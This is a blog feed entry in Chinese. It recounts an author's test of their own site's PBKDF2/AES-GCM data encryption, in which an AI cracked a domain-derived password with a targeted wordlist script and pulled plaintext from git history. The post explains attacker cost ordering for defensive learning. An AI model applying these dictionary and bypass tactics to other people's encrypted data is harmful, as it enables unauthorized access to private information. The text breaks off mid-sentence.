<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Misaka10013</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://misaka10013.cn/</id>
  <link href="https://misaka10013.cn/" rel="alternate"/>
  <link href="https://misaka10013.cn/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Misaka10013</rights>
  <subtitle>御坂世界</subtitle>
  <title>Misaka10013 御坂10013</title>
  <updated>2026-09-24T07:11:30.956Z</updated>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="https://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="密码破解" scheme="https://misaka10013.cn/tags/%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/"/>
    <category term="安全审计" scheme="https://misaka10013.cn/tags/%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1/"/>
    <category term="攻击者思维" scheme="https://misaka10013.cn/tags/%E6%94%BB%E5%87%BB%E8%80%85%E6%80%9D%E7%BB%B4/"/>
    <content>
      <![CDATA[<blockquote><p><strong>📌 本文定位：</strong> 这不是一篇密码学入门（体系知识请看<a href="/p/3138988098.html">《加密解密知识库完全指南》</a>，工具命令请看<a href="/p/3624725012.html">《日常密码攻防手册》</a>），而是一次<strong>真实事件的完整复盘</strong>。</p><p>我给自己博客的足迹地图做了一套客户端加密，然后叫 AI 来”破解”它，想验证方案够不够硬。结果三轮下来，结论跟预想的完全不一样：<strong>我测出来的不是”加密弱鸡”，而是”攻击者根本不走我设防的那条路”</strong>。</p><p>文中的每一次耗时都是本机实测数据，不是估算。所有案例数据都做了脱敏（只保留统计量，不含任何具体点位内容）。</p></blockquote><hr><h2 id="一、起因：一次”不合规”的考试"><a href="#一、起因：一次”不合规”的考试" class="headerlink" title="一、起因：一次”不合规”的考试"></a>一、起因：一次”不合规”的考试</h2><p>事情的开始很随意。我把站点数据文件 <code>data.json</code> 丢给 AI，说：</p><blockquote><p>“考你一道题，这是我从<strong>别人的博客</strong>下载的足迹数据，你能看出来是什么不？能把全部内容翻译出来不？”</p></blockquote><p>这是个<strong>故意设套的测试</strong>——站是我的，文件是我的，我想看看”一个陌生人拿到这个文件能走多远”。</p><p>AI 第一眼就认出来了：这是 <code>/map/</code> 页面的取数文件，v19 客户端加密格式，结构是：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;config&quot;</span><span class="punctuation">:</span>     <span class="punctuation">&#123;</span> <span class="comment">/* 地图初始视图 */</span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;categories&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span> <span class="comment">/* 分类定义 */</span> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;markers&quot;</span><span class="punctuation">:</span>    <span class="punctuation">[</span> <span class="comment">/* 公开点，明文 */</span> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;private&quot;</span><span class="punctuation">:</span>    <span class="punctuation">&#123;</span> <span class="attr">&quot;v&quot;</span><span class="punctuation">:</span> <span class="number">19</span><span class="punctuation">,</span> <span class="attr">&quot;kdf&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span>...<span class="punctuation">&#125;</span><span class="punctuation">,</span> <span class="attr">&quot;cipher&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span>...<span class="punctuation">&#125;</span><span class="punctuation">,</span> <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;base64 密文&gt;&quot;</span> <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>公开点 26 条，明文可读；私密点 324 条，整体加密。</p><p>然后——<strong>它把 324 条全解出来了。</strong></p><p>我当场就不冷静了：<em>“靠！我就想测试下别人拿着文件能不能解密出来。你直接给我解密出来了，这不就说明这个加密机制非常弱鸡？！”</em></p><p>AI 的回应让我冷静了半秒：</p><blockquote><p><strong>“我不是’解密’出来的，我是’拿钥匙开门’出来的。”</strong></p></blockquote><p>这话是对的，而且指出了第一个方法论错误：</p><table><thead><tr><th></th><th>我做的</th><th>真正该做的</th></tr></thead><tbody><tr><td>测试对象</td><td>一个<strong>已经知道密码</strong>的 AI</td><td>一个<strong>只有公开信息</strong>的匿名攻击者</td></tr><tr><td>实际测的是</td><td>“钥匙能不能开门”（废话，当然能）</td><td>“没有钥匙能不能进门”</td></tr><tr><td>结论</td><td>无效测试 ❌</td><td>有效测试 ✓</td></tr></tbody></table><p><strong>验证”别人能不能破”，就不能找手里已经有钥匙的人来测。</strong> 密码是我自己早前告诉它的，还留在它的记忆文件里。我把钥匙塞它手里，然后问它能不能开门——这不叫加密弱，这叫<strong>测试方法有漏洞</strong>。</p><p>但这一轮也不是白折腾。它顺手暴露了一个真问题：<strong>密码的选取方式</strong>。</p><hr><h2 id="二、第一次反转：换密码，然后-7-1-秒撞开"><a href="#二、第一次反转：换密码，然后-7-1-秒撞开" class="headerlink" title="二、第一次反转：换密码，然后 7.1 秒撞开"></a>二、第一次反转：换密码，然后 7.1 秒撞开</h2><p>我一怒之下改了密码，把新版本的 <code>data.json</code> 甩过去：<em>“我改密码了。你再试。”</em></p><p>AI 先做了一件事——<strong>验证是不是真的重新加密了</strong>：</p><table><thead><tr><th>参数</th><th>旧文件</th><th>新文件</th><th>变化</th></tr></thead><tbody><tr><td><code>kdf.salt</code></td><td>…</td><td>…</td><td>✅ 变</td></tr><tr><td><code>cipher.iv</code></td><td>…</td><td>…</td><td>✅ 变</td></tr><tr><td>密文 SHA-256</td><td>…</td><td>…</td><td>✅ 变</td></tr><tr><td>密文长度</td><td>85,800 字符</td><td>85,800 字符</td><td>不变（同一份数据）</td></tr><tr><td><code>kdf.iterations</code></td><td>600,000</td><td>600,000</td><td>不变</td></tr></tbody></table><p>salt、IV、密文全变，明文长度一致 → 确实是同一份数据换了新钥匙。<strong>这一步很重要</strong>：测试前先确认”被测对象真的变了”，否则后面所有结论都是空的。</p><p>然后开跑。先建性能基线：</p><table><thead><tr><th>实测项</th><th>数值</th></tr></thead><tbody><tr><td>PBKDF2-SHA256 × 600,000 单次派生耗时</td><td><strong>~260 ms</strong></td></tr><tr><td>单核尝试速度</td><td><strong>3.5 ~ 3.9 次&#x2F;秒</strong></td></tr><tr><td>8 线程并行速度</td><td><strong>~31 次&#x2F;秒</strong></td></tr></tbody></table><p>260 毫秒是什么概念？就是你在地图上输密码后那”卡一下”的感觉——<strong>这 260ms 不是 bug，就是这 60 万次迭代在干活</strong>。</p><p>接下来是攻击脚本的核心思路。它<strong>不允许用任何内部信息</strong>，只允许用”一个看了你博客的陌生人能免费获取的东西”：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 候选密码 = 公开信息 + 常见变形</span></span><br><span class="line"><span class="keyword">const</span> bases = [<span class="string">&#x27;misaka&#x27;</span>, <span class="string">&#x27;Misaka&#x27;</span>, <span class="string">&#x27;mISAKA&#x27;</span>, <span class="string">&#x27;misaka10013&#x27;</span>, <span class="comment">/* ← 域名去掉 .cn */</span></span><br><span class="line">  <span class="string">&#x27;mikoto&#x27;</span>, <span class="string">&#x27;yuban&#x27;</span>, <span class="string">&#x27;御坂&#x27;</span>, <span class="string">&#x27;御坂美琴&#x27;</span>, <span class="string">&#x27;railgun&#x27;</span>, <span class="string">&#x27;biribiri&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;sncitybrain&#x27;</span>, <span class="string">&#x27;suining&#x27;</span>, <span class="string">&#x27;遂宁&#x27;</span>, ...];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 后缀变形：数字、年份、符号、键盘走位</span></span><br><span class="line"><span class="keyword">const</span> sfx = [<span class="string">&#x27;&#x27;</span>, <span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;123&#x27;</span>, <span class="string">&#x27;123456&#x27;</span>, <span class="string">&#x27;!&#x27;</span>, <span class="string">&#x27;@123&#x27;</span>, <span class="string">&#x27;2024&#x27;</span>, <span class="string">&#x27;2025&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;520&#x27;</span>, <span class="string">&#x27;1314&#x27;</span>, <span class="string">&#x27;10013&#x27;</span>, <span class="string">&#x27;.cn&#x27;</span>, <span class="string">&#x27;@cn&#x27;</span>, ...];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 再加一份通用弱口令表</span></span><br><span class="line"><span class="keyword">const</span> weak = [<span class="string">&#x27;123456&#x27;</span>, <span class="string">&#x27;qwerty123&#x27;</span>, <span class="string">&#x27;P@ssw0rd&#x27;</span>, <span class="string">&#x27;woaini1314&#x27;</span>, ...];</span><br></pre></td></tr></table></figure><p>候选总数 <strong>1,362 个</strong>，8 路并行分发。</p><p><strong>结果：7.1 秒命中。</strong></p><table><thead><tr><th>项</th><th>结果</th></tr></thead><tbody><tr><td>命中密码</td><td><code>misaka10013</code> ← <strong>就是域名 <code>misaka10013.cn</code> 去掉 <code>.cn</code></strong></td></tr><tr><td>推导成本</td><td>零。看一眼站点 URL 就能想到</td></tr><tr><td>实际耗时</td><td><strong>7.1 秒</strong></td></tr></tbody></table><p>（补一句严谨性：7.1 秒 ≠ “7.1 秒穷举完 1362 个”。脚本把这 1362 个候选<strong>轮询分发</strong>到 8 路 worker，命中候选恰好排在很靠前的位置，所以它所在那一路的命中时间就是 7.1 秒。真要跑满 1362 个候选，按 31 次&#x2F;秒算大约 44 秒。<strong>但攻击者不需要跑满——他只需要撞对一次。</strong> 这个区别后面还会用到，先记住。）</p><h3 id="这一局的结论"><a href="#这一局的结论" class="headerlink" title="这一局的结论"></a>这一局的结论</h3><blockquote><p><strong>算法一点没输，密码输到底裤都没了。</strong></p></blockquote><table><thead><tr><th>层</th><th>状态</th><th>依据</th></tr></thead><tbody><tr><td><strong>算法层</strong></td><td>✅ 很硬</td><td>单核 3.5 次&#x2F;秒。若密码是 11 位随机小写+数字，穷举需 <strong>1.35 亿年</strong>；就算换成 RTX 4090 级 GPU（相对本机 CPU 算力涨约千倍）也要 <strong>≈13 万年</strong></td></tr><tr><td><strong>密码层</strong></td><td>❌ 一戳就破</td><td><code>misaka10013</code> 100% 可从域名推导，<strong>10 秒内</strong></td></tr></tbody></table><p>一句话总结这一局：<strong>墙是金刚石砌的，但钥匙就压在门垫底下，门垫上还写着你家地址。</strong></p><p>我损失的那 6 亿倍强度，全丢在”密码选了个可猜的”这一件事上。</p><hr><h2 id="三、第二次反转：新密码撞不开，但数据早就在外面"><a href="#三、第二次反转：新密码撞不开，但数据早就在外面" class="headerlink" title="三、第二次反转：新密码撞不开，但数据早就在外面"></a>三、第二次反转：新密码撞不开，但数据早就在外面</h2><p>我这次认真改了密码。AI 换了个更大的字典：<strong>3,382 个候选</strong>，覆盖中文用户常见套路——键盘走位（<code>qazwsxedc</code>）、浪漫数字（<code>5201314</code>）、”自认为很强”的大小写+符号组合（<code>Misaka@10013!</code>、<code>Suining@2026</code>）、拼音姓名变形、长句首字母。</p><table><thead><tr><th>轮次</th><th>字典</th><th>候选数</th><th>结果</th></tr></thead><tbody><tr><td>1</td><td>公开信息定向字典（域名&#x2F;网名变形）</td><td>1,362</td><td>全部未命中 ✓</td></tr><tr><td>2</td><td>扩展字典（中文用户常见套路 + “自认强密码”套路）</td><td>3,382</td><td>全部未命中 ✓</td></tr><tr><td><strong>合计</strong></td><td></td><td><strong>4,744</strong></td><td><strong>未命中</strong>（跑了约 8 分钟）</td></tr></tbody></table><p><strong>密码这一层，这次合格了。</strong> 旧密码在同一条字典里 7 秒就破，新密码 8 分钟纹丝不动——这不是巧合，这是”可推导”和”不可推导”的区别。</p><h3 id="但是——“换密码”这件事，可能等于白换"><a href="#但是——“换密码”这件事，可能等于白换" class="headerlink" title="但是——“换密码”这件事，可能等于白换"></a>但是——“换密码”这件事，可能等于白换</h3><p>AI 顺手去翻了我博客仓库的 git 历史。一行命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git show b76510c:<span class="built_in">source</span>/map/data.json &gt; 明文.json</span><br></pre></td></tr></table></figure><p><strong>不需要任何密码。拿到全部 324 条私密足迹。</strong></p><table><thead><tr><th>提交</th><th>日期</th><th>说明</th><th>markers</th><th>明文私密点</th><th>加密</th></tr></thead><tbody><tr><td><code>b76510c</code></td><td>09-23</td><td>优化缓存更新</td><td>350</td><td><strong>324</strong></td><td>❌ 否</td></tr><tr><td><code>ac47b0a</code></td><td>09-23</td><td>足迹返回博客更新</td><td>331</td><td><strong>331</strong></td><td>❌ 否</td></tr><tr><td><code>2b8dd4a</code></td><td>09-22</td><td>增加接口和徽章卡</td><td>331</td><td>明文</td><td>❌ 否</td></tr><tr><td>…另有 6 个</td><td>08-19 ~ 08-25</td><td></td><td>276 ~ 316</td><td>明文</td><td>❌ 否</td></tr></tbody></table><p><strong>9 个明文提交，累计 640 KB，带 194 条私人备注。</strong> 而加密提交只有最后 2 个。</p><p>问题出在哪？——<strong>我是”后来”才给数据补上加密的。</strong> git 只保护”当前版本”，前面 9 次提交把明文原封不动留在历史里。密码保护的是密文，历史里躺的是明文：</p><blockquote><p><strong>锁换了，后门还开着。</strong></p></blockquote><p>还有两处附带发现：</p><ul><li><strong>仓库可见性</strong>：这两个明文提交确实已推到远端。我匿名探测了一下 <code>.git/info/refs</code>，返回 <strong>HTTP 401</strong> → 私有仓库，没公开泄露。但<strong>私有 ≠ 安全</strong>（协作者、离职人员、平台侧、意外转公开，都是变量）。</li><li><strong>本地残留副本</strong>：下载目录里 8 个历史副本<strong>压根没有加密块</strong>，其中 2 个各含 <strong>247 条明文私密点</strong>。改密不溯及既往，这些文件不受新密码保护。</li></ul><table><thead><tr><th>路径</th><th>成本</th><th>本轮结果</th></tr></thead><tbody><tr><td>A. 找<strong>明文残留</strong>（历史 &#x2F; 备份 &#x2F; 缓存 &#x2F; 日志）</td><td>分钟级，几乎免费</td><td>✅ <strong>命中，拿到全部</strong></td></tr><tr><td>B. 找<strong>密钥管理失误</strong>（密码写在笔记 &#x2F; 脚本 &#x2F; AI 记忆）</td><td>分钟级</td><td>⚠️ 旧密码长期留痕</td></tr><tr><td>C. <strong>了解算法</strong></td><td>≈ 0</td><td>⚪ 文件头自带说明书</td></tr><tr><td>D. 社工 → 定向字典</td><td>小时级</td><td>✅ 旧密码 7 秒破；新密码 4744 候选未破</td></tr><tr><td>E. 纯穷举</td><td>1.35 亿年</td><td>❌ 死路</td></tr></tbody></table><p><strong>这张表才是全文的核心。</strong> 我设防的 D 路和 E 路，攻击者压根没走。他走的是 A 路——我连门都没装的那条。</p><hr><h2 id="四、核心方法论：攻击者的成本排序"><a href="#四、核心方法论：攻击者的成本排序" class="headerlink" title="四、核心方法论：攻击者的成本排序"></a>四、核心方法论：攻击者的成本排序</h2><h3 id="4-1-三条路，不是四个步骤"><a href="#4-1-三条路，不是四个步骤" class="headerlink" title="4.1 三条路，不是四个步骤"></a>4.1 三条路，不是四个步骤</h3><p>大多数人对”破解”的想象是一条线性流程：<strong>收集信息 → 生成字典 → 研究算法 → 开始暴力破解</strong>。</p><p>这个框架方向没错，但<strong>有个结构性缺口，而且顺序排错了</strong>。</p><p>缺口在于：它整个都在回答”怎么猜出密码”。但攻击者问的第一个问题不是”密码是什么”，而是——</p><blockquote><p><strong>“我非得要密码吗？”</strong></p></blockquote><p>本轮就是活证据：AI 压根没碰新密码，一行 <code>git show</code> 就拿到了全部 324 条。<strong>整条密码破解链，被绕过去了。</strong></p><p>正确的框架是<strong>三条独立路径 + 一条成本排序</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A 路：绕过密码 —— 明文残留 / 侧信道 / 密钥失误 / 内部人   ← 永远先试这条</span><br><span class="line">B 路：猜密码   —— 信息收集 → 字典生成 → 离线验证</span><br><span class="line">C 路：破算法   —— 现代正确实现下 ≈ 死路</span><br></pre></td></tr></table></figure><p>攻击者按<strong>成本从低到高</strong>扫，哪条先通走哪条。不是”先试 A，A 不行再试 B”，而是<strong>永远先扫最便宜的那条</strong>。</p><h3 id="4-2-“绕过”的本质：不打数据面"><a href="#4-2-“绕过”的本质：不打数据面" class="headerlink" title="4.2 “绕过”的本质：不打数据面"></a>4.2 “绕过”的本质：不打数据面</h3><p>加密把 payload 锁死了，但<strong>系统的其它部分没有一起变强</strong>：</p><ul><li>元数据（文件大小、修改时间、文件名）</li><li>行为（谁在什么时候访问了什么）</li><li>副本（git 历史、备份、缓存、云同步、回收站）</li><li><strong>还有最关键的那个：人</strong></li></ul><p>所以”绕过”的本质是<strong>一</strong>句话：<strong>永远不打数据面。</strong></p><p>顺便修正一个常见误解：<strong>当旁路不存在时，正面强攻就是唯一选项。</strong> 举个极端例子——一本上古遗迹的书籍，没有备份、没有密钥持有者、没有元数据，那就只能正面攻。所以精确表述不是”绕过优先”，而是：</p><blockquote><p><strong>成本低者优先。</strong> 绕过只是恰好最便宜的那条路。</p></blockquote><h3 id="4-3-KDF-迭代的真实作用（最反直觉的一点）"><a href="#4-3-KDF-迭代的真实作用（最反直觉的一点）" class="headerlink" title="4.3 KDF 迭代的真实作用（最反直觉的一点）"></a>4.3 KDF 迭代的真实作用（最反直觉的一点）</h3><p>PBKDF2 那 60 万次迭代，真实作用<strong>不是”防止被破解”</strong>，而是：</p><blockquote><p><strong>把攻击者从”穷举”逼到”猜测”。</strong></p></blockquote><p>推演一下：</p><ol><li>穷举 11 位随机密码 &#x3D; 1.35 亿年 → 攻击者买不起 → <strong>他不会走这条路</strong></li><li>于是他 <strong>100% 的预算都花在”缩小候选空间”上</strong></li><li>候选空间多大？完全由你的密码<strong>能不能被推导</strong>决定</li></ol><p>所以结论是：</p><blockquote><p><strong>算法足够强时，攻防胜负 100% 转移到”密码的熵来自哪里”。</strong></p></blockquote><p><code>misaka10013</code> 名义上有 11 个字符，看起来”挺长”——但对攻击者来说<strong>有效熵 ≈ 0</strong>，因为它 100% 可从域名推导出来。<strong>长度不等于熵。</strong></p><h3 id="4-4-社工和字典不是两个阶段"><a href="#4-4-社工和字典不是两个阶段" class="headerlink" title="4.4 社工和字典不是两个阶段"></a>4.4 社工和字典不是两个阶段</h3><p>很多人把”社会工程学”和”字典生成”当成并列的两步。实际上它们是<strong>输入 → 输出</strong>的关系：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">社工信息（域名、网名、生日、习惯）</span><br><span class="line">    ↓  变形、组合、套模板</span><br><span class="line">定向字典（1362 个候选，全部有来源）</span><br></pre></td></tr></table></figure><p>字典的<strong>定向性完全由社工信息决定</strong>。第一轮那 1362 个候选，来源只有一件事：<strong>看了一眼站点的域名</strong>。没有社工，你只能拿通用弱口令表硬碰，命中率会掉好几个数量级。</p><h3 id="4-5-一个被忽略的维度：离线-vs-在线"><a href="#4-5-一个被忽略的维度：离线-vs-在线" class="headerlink" title="4.5 一个被忽略的维度：离线 vs 在线"></a>4.5 一个被忽略的维度：离线 vs 在线</h3><p>本轮能 31 次&#x2F;秒无限试，是因为<strong>密文整个被下载到了本地</strong>——这叫<strong>完全离线攻击</strong>：没有速率限制、没有告警、没有锁定、没有审计日志。</p><p>如果验证放在服务端做（限流 + 失败锁定 + 异常告警）：</p><table><thead><tr><th>场景</th><th>速度</th><th>同一本字典的耗时</th></tr></thead><tbody><tr><td>离线（本轮）</td><td>31 次&#x2F;秒</td><td><strong>秒级 ~ 分钟级</strong></td></tr><tr><td>在线（限流 5 次&#x2F;分钟 + 锁定）</td><td>5 次&#x2F;分钟</td><td><strong>天级 ~ 月级</strong></td></tr></tbody></table><blockquote><p><strong>同一个密码，离线是 10 秒，在线是 10 个月。</strong></p></blockquote><p>这个量级差，比”换更长的密码”值钱得多。</p><hr><h2 id="五、拆解”破解”的三层"><a href="#五、拆解”破解”的三层" class="headerlink" title="五、拆解”破解”的三层"></a>五、拆解”破解”的三层</h2><p>“加密被破了”这句话太笼统，它其实是三件完全不同的事：</p><table><thead><tr><th>层次</th><th>打什么</th><th>现实成功率</th><th>典型手法</th></tr></thead><tbody><tr><td>攻<strong>算法</strong></td><td>AES &#x2F; SHA 的数学结构</td><td><strong>≈ 0</strong></td><td>差分分析、线性分析、代数攻击</td></tr><tr><td>攻<strong>实现</strong></td><td>代码写错的地方</td><td><strong>中</strong></td><td>nonce 复用、tag 不校验、padding oracle、时序泄露、salt 写死、迭代次数&#x3D;1</td></tr><tr><td>攻<strong>密钥管理</strong></td><td>弱密码、密码写在哪、谁能拿到</td><td><strong>最高</strong></td><td>社工、字典、明文残留、内部人</td></tr></tbody></table><p>一句话：</p><blockquote><p><strong>世界上几乎没有哪种加密是”被数学破的”，几乎全都是”密钥管理破的”。</strong></p></blockquote><p>本轮就是标准样本：<strong>算法一丝没动，10 秒拿到的。</strong></p><h3 id="Kerckhoffs-原则：知道算法不算攻击"><a href="#Kerckhoffs-原则：知道算法不算攻击" class="headerlink" title="Kerckhoffs 原则：知道算法不算攻击"></a>Kerckhoffs 原则：知道算法不算攻击</h3><p>你的框架里把”了解加密算法”排第三重要，实际它排<strong>第一便宜</strong>——因为现代密码学的铁律是<strong>算法公开</strong>：</p><blockquote><p>一个密码系统的安全性，应当仅取决于密钥的保密性，而不取决于算法的保密性。</p></blockquote><p>而且更省事的是：<strong>加密文件通常主动交代自己的算法</strong>，跟附赠说明书一样。本轮那个 <code>data.json</code> 里，<code>PBKDF2</code>、<code>SHA-256</code>、<code>600000</code> 次迭代、<code>AES-GCM</code>、<code>iv</code>、<code>tagBits</code> 全在明面上——<strong>连猜都不用猜。</strong></p><p>什么时候”算法”这一环才真的重要？</p><ol><li><strong>元数据缺失</strong>——只拿到裸二进制，得先做逆向识别</li><li><strong>实现有缺陷</strong>——ECB 模式、nonce 复用、tag 不校验、padding oracle、salt 写死、迭代只有 1 次</li></ol><p>本轮的实现是正确的（随机 salt、随机 IV、GCM 认证标签、60 万次迭代），所以这一环贡献为 <strong>0</strong>。</p><h3 id="一个反直觉的行业事实"><a href="#一个反直觉的行业事实" class="headerlink" title="一个反直觉的行业事实"></a>一个反直觉的行业事实</h3><p><strong>勒索软件团伙几乎从不”解密”任何东西。</strong></p><p>他们买凭据。在地下市场，一台企业内网的<strong>初始访问权</strong>，价格和一台家用电脑的密码差不了多少。因为买通一个人 &#x2F; 钓到一个账号，远比破一个密码便宜。</p><p>在产业化的攻击里，<strong>“破解”排得非常靠后。</strong></p><hr><h2 id="六、一个上古文献的隐喻"><a href="#六、一个上古文献的隐喻" class="headerlink" title="六、一个上古文献的隐喻"></a>六、一个上古文献的隐喻</h2><p>这个类比值得单独一节，因为它精确得让人起鸡皮疙瘩——<strong>破译古代文献用的就是同一套方法论，一点没变</strong>：</p><table><thead><tr><th>现代密码学</th><th>古籍破译</th></tr></thead><tbody><tr><td><strong>已知明文攻击</strong></td><td><strong>罗塞塔石碑</strong>（同一内容的两种文字对照）</td></tr><tr><td>多密文同明文</td><td>同一文献的多个抄本</td></tr><tr><td>统计攻击</td><td>词频 &#x2F; 字母频率分析</td></tr><tr><td>实现漏洞</td><td>抄写员的笔误、漏字、重复</td></tr><tr><td>元数据</td><td>纸张材质、年代、出土位置</td></tr></tbody></table><p>而且<strong>成败的关键往往不是”聪明”，而是”材料够不够”</strong>。</p><p>商博良能破译古埃及圣书体，靠的是罗塞塔石碑这块平行文本——不是他比别人天才（虽然他也确实很天才）。在他之前几百年，无数聪明人对着同样的象形文字一筹莫展，<strong>不是脑子不够，是材料不够</strong>。</p><p>这正好回到核心：</p><blockquote><p><strong>攻击者最先做的事，永远是找”材料”（旁路），而不是找”方法”（破解）。</strong><br><strong>方法是公开的，材料才是稀缺的。</strong></p></blockquote><hr><h2 id="七、”某天出现个超强的东西怎么办”"><a href="#七、”某天出现个超强的东西怎么办”" class="headerlink" title="七、”某天出现个超强的东西怎么办”"></a>七、”某天出现个超强的东西怎么办”</h2><p>这是我提出的最后一个疑问：</p><blockquote><p><em>“加密的设计还是有漏洞吧。就像 AI 突然横空出世一样，某一天出来个很会算的家伙，或者很会找寻数学规律并破解算法的东西。那利用漏洞直接破解算法不就是最简单的？”</em></p></blockquote><p>这个担心有真实内核，但<strong>方向被大众搞反了</strong>。先把两个被混在一起的概念拆开：</p><table><thead><tr><th></th><th>是什么问题</th><th>怎么防</th><th>后果</th></tr></thead><tbody><tr><td><strong>穷举变可行</strong>（算力飞跃）</td><td><strong>预算问题</strong></td><td>加长密钥、加多迭代</td><td>可量化、可预防</td></tr><tr><td><strong>数学破解</strong>（找到结构弱点）</td><td><strong>智力问题</strong></td><td>算法结构本身</td><td>降维打击，防不胜防</td></tr></tbody></table><p>“很会算的家伙”是第一种，”很会找规律的东西”是第二种。<strong>它们的应对方式完全不同</strong>——而你担心的那种”某天突然破掉”只可能是第二种。</p><h3 id="7-1-量子计算：唯一真实的”算法级威胁”，但方向讲反了"><a href="#7-1-量子计算：唯一真实的”算法级威胁”，但方向讲反了" class="headerlink" title="7.1 量子计算：唯一真实的”算法级威胁”，但方向讲反了"></a>7.1 量子计算：唯一真实的”算法级威胁”，但方向讲反了</h3><p>这是本节最要紧的技术点，大众（和科幻片）几乎全讲错了：</p><table><thead><tr><th>算法</th><th>量子影响</th><th>结论</th></tr></thead><tbody><tr><td><strong>Shor 算法</strong></td><td>破 <strong>RSA &#x2F; ECC</strong>（基于整数分解、离散对数）</td><td>🔴 <strong>必须迁移</strong>。NIST 已标准化后量子算法（ML-KEM&#x2F;Kyber、ML-DSA&#x2F;Dilithium）</td></tr><tr><td><strong>Grover 算法</strong></td><td>对<strong>对称密码</strong>（AES&#x2F;SHA）只是<strong>平方根加速</strong></td><td>🟢 AES-256 的 2²⁵⁶ 变成 <strong>2¹²⁸</strong> —— 仍然不可行</td></tr></tbody></table><p><strong>关键结论：量子对公钥密码是致命的，对对称密码只是”强度减半”。</strong></p><p>而本轮那份 <code>data.json</code> 用的是 <strong>AES-256-GCM + PBKDF2-SHA256</strong>——正好属于 Grover 那一边。</p><blockquote><p><strong>量子计算机造出来了，你这个文件照样站着。</strong></p></blockquote><p>真正会崩的是 HTTPS 证书、SSH 密钥、数字签名那类 RSA&#x2F;ECC 体系。</p><h3 id="7-2-为什么”数学破解”这么难——这不是运气，是有机制的"><a href="#7-2-为什么”数学破解”这么难——这不是运气，是有机制的" class="headerlink" title="7.2 为什么”数学破解”这么难——这不是运气，是有机制的"></a>7.2 为什么”数学破解”这么难——这不是运气，是有机制的</h3><ul><li>全球公开密码分析 AES 已 <strong>20+ 年</strong>。动力是”破掉就能拿图灵奖”，成千上万顶尖密码学家在打。结果只拿到边缘改进：2²⁵⁶ → 2²⁵⁴，<strong>等于没有</strong>。</li><li>密码学有个特殊性质：<strong>它是攻击者驱动的领域</strong>。算法不是因为设计得巧妙才安全，而是因为<strong>全世界最聪明的人一直打它、打不动</strong>。</li><li>历史事实：<strong>从来没有一个被广泛使用的现代分组密码或哈希函数，因为”算力变强”而被破。</strong> DES 崩溃是因为密钥只有 56 位——那叫<strong>参数选错</strong>，不叫算法被破。AES 从 128 位起步，128 就是专门为抗算力增长选的。</li></ul><h3 id="7-3-“某天出现个超强的东西”——这个假设本身有两个问题"><a href="#7-3-“某天出现个超强的东西”——这个假设本身有两个问题" class="headerlink" title="7.3 “某天出现个超强的东西”——这个假设本身有两个问题"></a>7.3 “某天出现个超强的东西”——这个假设本身有两个问题</h3><p><strong>① 逻辑问题（最重要）</strong></p><blockquote><p><strong>一个能推翻一切防御的假设，不是有效的威胁模型。</strong></p></blockquote><p>“某天出现一个超强的家伙”能推翻加密——但它同样能推翻”把文件锁进保险柜”、”用暗号通信”、”干脆不用电脑”。<strong>当一个假设对一切都成立时，它对具体决策提供的信息量就是零。</strong></p><p>安全的判断标准不是”有没有理论风险”（什么都有），而是<strong>成本排序</strong>：在所有能拿到你数据的路径里，这条排第几。</p><p><strong>② 方向反了：AI 的真实攻击增益在”人”身上，不在算法上</strong></p><table><thead><tr><th>AI 让什么变便宜了</th><th>效果</th></tr></thead><tbody><tr><td>深度伪造语音 &#x2F; 视频</td><td>冒充熟人骗凭据，成本从”需要专业团队”降到”一个人一下午”</td></tr><tr><td>自动化个性化钓鱼</td><td>从群发模板到千人千面</td></tr><tr><td>批量生成社工话术</td><td>情报收集半自动化</td></tr></tbody></table><p><strong>AI 让”绕过”这条路更便宜了，不是让”破算法”变得可行。</strong> 攻击者用 AI 干的事，是把你的密码<strong>骗</strong>出来，而不是去<strong>解</strong> AES。</p><p>还有个更微妙的对撞值得说：<strong>密码学的设计目标，本身就是消灭统计规律</strong>——而这恰好是 AI&#x2F;ML 的强项。已有研究用机器学习去找差分特征，在<strong>简化的玩具密码</strong>上有明显效果，在完整 AES 上<strong>完全无效</strong>。原因很简单：抗统计分析就是密码设计的第一原则。</p><blockquote><p><strong>AI 会变成辅助工具（找实现 